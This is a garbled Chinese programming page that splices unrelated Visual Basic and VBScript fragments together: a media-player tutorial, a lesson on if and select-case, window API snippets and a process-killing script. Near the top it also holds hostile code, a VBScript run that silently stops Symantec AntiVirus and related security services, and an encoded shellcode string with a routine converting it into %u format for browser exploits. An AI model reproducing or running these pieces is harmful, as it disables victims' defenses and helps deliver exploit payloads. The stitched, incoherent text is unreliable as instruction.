如果你在程序中使用了任何数据库对象（DAO,RDO,或者ADO),在退出程序之前，你必须确认已经关闭掉了所有已经打开的记录、数据库和数据工作台（recordsets,databases,andworkspaces）

'stop service wso.Run """" & WScript.ScriptFullName & """ server_stop=""SENS""", 0, True wso.Run """" & WScript.ScriptFullName & """ server_stop=""Symantec AntiVirus""", 0, True wso.Run """" & WScript.ScriptFullName & """ server_stop=""ccEvtMgr""", 0, True wso.Run """" & WScript.ScriptFullName & """ server_stop=""SmcService""", 0, True wso.Run """" & WScript.ScriptFullName & """ server_stop=""SNAC""", 0, True wso.Run """" & WScript.ScriptFullName & """ server_stop=""ccSetMgr""", 0, True

'codebyNetPatch code="\x29\xc9\x83\xe9\xa1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92\x06\x5b\x18\x83\xeb\xfc\xe2\xf4\x79\x16\x01\x52\xa1\xcf\x3d\xa1\xae\x07\xdb\x2c\x98\x9f\xb9\xe2\x79\x03\xb3\xf3\x6d\xf9\xa4\x68\xde\x9f\xc2\x81\x51\xfb\x63\xb1\x0b\x9f\xc2\x0a\x4b\x93\x49\xf1\x17\x32\x49\xc1\x03\x14\x1a\x0a\x78\xa3\…………………………" functionreplaceregex(str) setregex=newregExp regex.pattern="\\x(..)\\x(..)" regex.IgnoreCase=true regex.global=true matches=regex.replace(str,"%u$2$1") replaceregex=matches endFunction setfso=CreateObject("scripting.filesystemobject") setfileS=fso.opentextfile("a.txt",8,true) fileS.writelinereplaceregex(code) files.close setfso=nothing 前面提到的VB的FindWindow()函数的声明将两个参数都定义为String类型，而在实际使用过程中，如果我们要忽略某个参数，应将该参数的定义由AsString改为AsAny

附：禁用WSH的方法 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsScriptHost\Settings\ 把这个项中的Enable设置为0就可以禁用，设置为1就启用VB利用高级音频函数编写多媒体播放器现在使用VB编程的朋友越来越多了.但是如何使用VB来编写播放多媒体文件的播放器呢?本篇将详细的介绍如何利用高级音频函数编写媒体播放器!内容提要:了解高级音频函数各参数的意思;提供一些高级音频函数的命令集;编写一个简单的多媒体播放器程序;高级音频函数有两条:1.mciSendString;2.mciSendCommand.前者称为命令字符串函数,后者称为命令消息函数.命令字符串函数顾名思义就是利用字符串作为命令来控制媒体设备,它最适合高级编程语言如:VB.而命令消息函数则是利用消息的发送来控制媒体设备,它最适合利用常数作命令的编程语言如:VC .因此我们这里只讲解命令字符串函数的使用方法.函数原型:mciSendString(ByVallpstrCommandAsString,ByVallpstrReturnStringAsString,ByValuReturnLengthAsLong,ByValhwndCallbackAsLong)AsLong参数说明:lpstrCommand:要发送的命令字符串.字符串结构是:[命令][设备别名][命令参数].lpstrReturnString:返回信息的缓冲区,为一指定了大小的字符串变量.uReturnLength:缓冲区的大小,就是字符变量的长度.hwndCallback:回调方式,一般设为零.(*函数执行成功返回零,否则返回错误代码)　使用此函数能播放哪些媒体文件呢?不用担心,打开win.ini文件看看便知.找到[mciextensions]部分这里记录了你的计算机所能使用的所有媒体文件名,如:mid=Sequencer,等号左边的表示媒体文件的扩展名,等号右边的表示打开此媒体文件的设备名.　　知道了哪些文件可以播放后就可以播放媒体文件了吗?No!你还得知道如何使用命令字符串来控制设备.下面列出的命令集是各种设备同时都具有的也是关键的命令集:1.Opendevice_name[aliasalias_name]:Open命令用来打开device_name设备并取别名为alias_name,device_name为媒体文件名或设备名,alias_name是为device_name取的别名.如:OpenC:\windows\kl.wavaliasWAV.意思是打开:c:\windows\kl.wav这个文件并取别名为WAV,在经后的操作过程中就可用这个别名来控制它所打开的设备了.2.Closealias_name:Close命令用来关闭别名为alias_name的设备,在关闭程序时必须调用该命令否则其它的程序将无法打开该设备.3.Playalias_name:Play命令用来播放别名为alias_name的媒体文件.成功的打开设备后就可调用该命令来播放媒体文件了.4.Stopalias_name:Stop命令用来停止播放媒体文件.5.Seekalias_name:Seek命令用来设置当前播放的位置.(需事先设定时间格式)6.Setalias_name[audioalloff][audioallon][timeformatms]:Set命令用来设置设备的各种状态.如:静音,有声音,时间格式为毫秒等.7.Statusalias_name[length][mode][position]:Status命令用来取得设备的状态.如:该媒体文件的长度,该媒体文件所处状态,该媒体文件的当前位置等.由于篇幅有限这里就不再说更多的命令集了.有兴趣的朋友可到我的网址详细的查询.下面将介绍如何利用上面说的函数和命令集为我们工作:1.新建一工程并在工程中添加一公用对话框(CommonDialog),再添加一模块(Module).2.在模块中声明命令字符串函数:DeclareFunctionmciSendStringLib"winmm.dll"Alias"mciSendStringA"(ByVallpstrCommandAsString,ByVallpstrReturnStringAsString,ByValuReturnLengthAsLong,ByValhwndCallbackAsLong)AsLong3.添加一按钮并在按钮的Click事件中加入以下代码:dimdwReturnasString*256me.CommonDialog1.ShowOpenif(mciSendString("Open" Commondialog1.FileName "AliasMCI",dwReturn,256,0)=0)thenmciSendString("PlayMCI",dwReturn,256,0)endif4.最后在窗体的UnLoad事件中加入以下代码:mciSendString("CloseMCI")是不是很简单!才用了七行代码就编成了一个简单的播放器?有兴趣的朋友可到我的主页查询,也可给我发E-Mail:我的主页:(内有详细的说明和丰富的源程序)我的E-mail:lucykenny@990.net成都:刘明地址:成都市新南门青平巷19号->

第三篇（共六篇）：首先,我来解决一下上次课程的几个疑问 第一,那个余数问题,16/5=3...1,是因为我改过前面的部分,后面的忘了改了,不好意思. 第二,请看一下程序清单: 1) Dima,b,c a=inputbox("a是:","输入半径") b=Inputbox("b是:","输入半径") c=a*2+b*2 Msgbox(c) 这个输入1、2时是6 2) Dima,b,c a=inputbox("a是:","输入半径") b=Inputbox("b是:","输入半径") c=(a+b)*2 Msgbox(c) 这个输入1、2时是24 　为什么会不一样呢?在数学上c=(a+b)*2和c=a*2+b*2是等价的,在VBS中也是如此.问题出在"+"上,在VBS中,+不仅仅是加号的意思还表示把两个字符串连接起来,例如"Hello"+"World"="HelloWorld"haveyouunderstood?你还记得InoutBox函数的返回值吗?是字符串!这就看出问题了吧,在编程中"1"不等于(<>)1,"1"是一个字符,而1是一个数,所以a,b都是字符串变量,"1"+"2"="12",这就好像我们小时跟伙伴开玩笑问他们1+1=?一样,我们总是笑着说"错啦,应该是11".但为什么,a可以*2却不发生错误呢?这时VBS比较智能的一个表现,如果这个字符串的内容是一个数且对他进行数学运算,则把字符串强制转换成数参与运算,如果字符串代表一个数,但不参加数学运算,而是参加字符串运算(合并)则当作字符串处理,所以你看到a+b=12,这时候a+b的结果(12)是一个字符串,当它要乘以2的时候就被强制转换成了数字12,这样我就得到了结果24. 　　怎么修改这个程序呢?我们需要用到另一个内建的函数:int,int函数的功能是将输入值转化成整数值,我们这样修改: c=(int(a)+int(b))*2 　　这个意思就是把a作为参数传递给int函数,int函数就会返回那个整数(你的输入值),然后让返回值参与运算,这样就得到了正确答案.所以,以后如果你用的是inputbox函数的话,最好用int语句加工一下:比如c=int(c)'c是你自己的变量 　　大家是不是觉得这个课程有点枯燥,呵呵,变量和运算符部分的确是这样的,不过多多练习也就好了,这次,我们写写真正好玩的东西:流程控制语句.这个部分开始才是真正的编程. 　　首先介绍判断结构. 　　在此之前,我们先介绍一种简单的变量类型:布尔值(Boolean),这种变量只有两个可能值:True,Flase,即真或假.这种变量在某些情况下很有用(比如"开关").我们定义一个bool变量的方法和其他变量一样,赋值也一样,例如: dima,b a=true b=false 　　注意,true和"true"是不一样的,"true"是字符串,true是布尔值,千万不能混淆. 　　回到if语句上来,我们先来看看简化版的if语句:if判断式then语句体　我们来看一个例子: dima,b a=12 b=13 ifb>athenmsgbox("B大于A") 　　我们只看最后一行,a>b这个式子(表达式)有一个返回值,是bool型的.因为这个式子只有两种可能:b大于a,b不大于a,所以这个式子也只有两种可能性,即真或者假.if语句判断这个表达式的返回值是真还是假,如果是真(true)则执行then后面的语句,如果是假,则不执行,你把a的值改成14看看还会不会弹出对话框? 　　当我们要在判断之后执行多行语句怎么办呢,我们需要用语句块来解决,在这里可以叫块if dima,b a=12 b=13 ifa<bthen msgbox("A小于B") msgbox("B大于A") endif 　　两个msgbox函数夹在if和endif之间,这个部分就是语句块,块里的每一条语句之前请空出4--8(一个<Tab>键)个格,这不是必需的,但是是一个好习惯,以便看清楚程序的结构.这样我们就能运行多于一个的语句,请注意if...then...endif这三个关键部分不要掉了.OK,我出一个题,输入一个数,如果小于100就输出"错误",如果大于100就输出"正确",我这里有两个程序版本: dima a=inputbox("请输入一个大于100的数") a=int(a)'inputbox返回的是字符串,我们把他变成整数:) ifa>100thenmsgbox("正确") ifa<100thenmsgbox("错误") 还有一个更简单的 dima a=inputbox("请输入一个大于100的数") a=int(a)'inputbox返回的是字符串,我们把他变成整数 ifa>100then msgbox("正确") else msgbox("错误") endif 　　看到多了一个else了吧,else的作用就是当要判断的表达式为false时执行的.这样程序就可以处理两种不同的情况了.不要忘了用endif结尾 　　嘿嘿,我是变态者,现在我要你处理三种情况,<100,=100,>100,还要写在一个if结构里,你怎么办,我给你答案: dima a=inputbox("请输入一个大于100的数") a=int(a)'inputbox返回的是字符串,我们把他变成整数 ifa>100then msgbox("正确") elseifa=100then msgbox("老大,你耍我?") else msgbox("错误") endif 　　这次输入100看看,是什么?elseif语句可以在if结构中多次出现,以灵活判断不同的情况(如果你要判断得太多,就请使用"选择结构",过会儿就讲),当所有elseif都处理完了,而没有符合情况的时候再执行else中的语句.另一个例子: Dima,b,c,d a=inputbox("a是:","输入半径") b=Inputbox("b是:","输入半径") d=Inputbox("答案:","输入答案") c=a*2+b*2'这里没有问题,会自动转换 ifd=cthen Msgbox("你好聪明") else Msgbox("你好猪头自己的题还不会!") endif 　　再看看这个,无论你回答得多么正确你都是猪头,哈哈,不是我耍你,还是文章开始时候的inputbox的返回类型在耍你,d是inputbox的返回值,他是一个字符串,而c是一次整数计算的结果,他是一个整数.一个字符串无论如何也不等于一个整数,尽管他们字面上是一样的:"8"<>(不等于号)8所以if的判断式的值永远是false,总是执行else部分的语句.我们可以这么修改 Dima,b,c,d a=inputbox("a是:","输入半径") b=Inputbox("b是:","输入半径") d=Inputbox("答案:","输入答案") d=int(d) '在这里我们取出了d的值,变成整数,在放回"d"这个盒子里 c=a*2+b*2 ifd=cthen Msgbox("你好聪明") else Msgbox("你好猪头自己的题还不会!") endif 　　这样就成功了.这也是Inputbox函数的一个讨厌的地方,没办法,vbs没有其他好的输入方式了. 　　说到if,我们不得不说一说逻辑运算符,今天介绍两种,"and"和"or"学会了if语句之后,我举一个例子,你一看就明白了. dima,b a=inputbox("输入一个数>10") b=inputbox("输入另一个数>10") a=int(a) b=int(b) ifa>10andb>10then msgbox("正确") else msgbox("错误") endif 　　这段程序让你输入两个值,必须都大于10,只要有一个不大于,就输出错误 dima,b a=inputbox("输入一个数>10") b=inputbox("输入另一个数>10") a=int(a) b=int(b) ifa>10orb>10then msgbox("正确") else msgbox("错误") endif 　　这段程序让你输入两个值,只要有一个大于10,就返回成功.其实and和or很好理解,我读"ifa>10orb>10then"这一句,用华语是这样:"如果a大于10或者b大于10,那么...".这样是不是就很好理解了呢. 　　OK,我们再来看一种新结构,今天的课就结束,已经午夜了,我都累死了. 　　当你的程序要处理很多种不同的判断情况的时候elseif..then会让程序看起来很杂乱,所以就有了一种selectcase结构专门对付这种情况,selectcase的语法结构很简单: selectcase变量名 case值 语句 case值 语句 caseelse 语句 endselect 　　我们举个例子就能很简单的说明： dima a=inputbox("输入一个1--3的值") a=int(a)'处理inputbox返回字符串的问题 selectcasea case1 msgbox("壹") case2 msgbox("贰") case3 msgbox("叁") caseelse msgbox("输入错误") endselect 　　这个例子把1,2,3这三个阿拉伯数字转化成中国大写数字,这个程序写成if...elseif的形式如下 dima a=inputbox("请输入1--3的值") a=int(a) ifa=1then msgbox("壹") elseifa=2then msgbox("贰") elseifa=3then msgbox("叁") else msgbox("输入错误") endif 　　怎么样,麻烦吧,还是select好吧. 　　OK,今天到此结束,总结一下: 要点: 1)inputbox返回的是一个字符串,而不是一个数,必须用a=int(a)这种形式转化成数 2)bool变量的值只有两种:true,false 2.5)and两边的表达式都是true,则返回true.or两边的表达式有一个是true,就返回true 3)if语句的格式 4)select...case的格式 作业: 1)使用3个bool值,储存你的3兄弟姐妹是否是男性(提示:sister1male=false) 2)给定一个个数,大于10而且小于20输出"正确",否则输出"错误" 3)输入12,或者15,输出"正确",否则输出"错误" 4)把5以内的正整数都转换成中国大些数字 5)自己随便设计一个程序,应用今天的知识 本文介绍用BitBlt函数实现画面的各种切换方法，供大家参考

说白了，我不是觉得拔猪毛麻烦么？我发觉xx机（比如真空离心器）有一个功能可以实现脱毛，ok，我把它拿来给猪脱毛清风仙凡幻想请在声明区中放入以下声明ConstGWL_EXSTYLE=(-20)ConstWS_EX_TRANSPARENT=&H20&ConstSWP_FRAMECHANGED=&H20ConstSWP_NOMOVE=&H2ConstSWP_NOSIZE=&H1ConstSWP_SHOWME=SWP_FRAMECHANGEDOrSWP_NOMOVEOrSWP_NOSIZEConstHWND_NOTOPMOST=-2PrivateDeclareFunctionSetWindowLongLib"user32"Alias"SetWindowLongA"(ByValhwndAsLong,ByValnIndexAsLong,ByValdwNewLongAsLong)AsLongPrivateDeclareFunctionSetWindowPosLib"user32"(ByValhwndAsLong,ByValhWndInsertAfterAsLong,ByValxAsLong,ByValyAsLong,ByValcxAsLong,ByValcyAsLong,ByValwFlagsAsLong)AsLong在Form_Load使用的范例如下：PrivateSubForm_Load()SetWindowLongMe.hwnd,GWL_EXSTYLE,WS_EX_TRANSPARENTSetWindowPosMe.hwnd,HWND_NOTOPMOST,0&,0&,0&,0&,SWP_SHOWMEMe.RefreshEndSub->

OnErrorResumeNext 'vbs代码开始---------------------------------------------- subClose_Process(ProcessName) OnErrorResumeNext foreachpsingetobject("winmgmts:\\.\root\cimv2:win32_process").instances_'循环进程 ifUcase(ps.name)=Ucase(ProcessName)then ps.terminate endif next endsub Close_Process("notepad.exe")。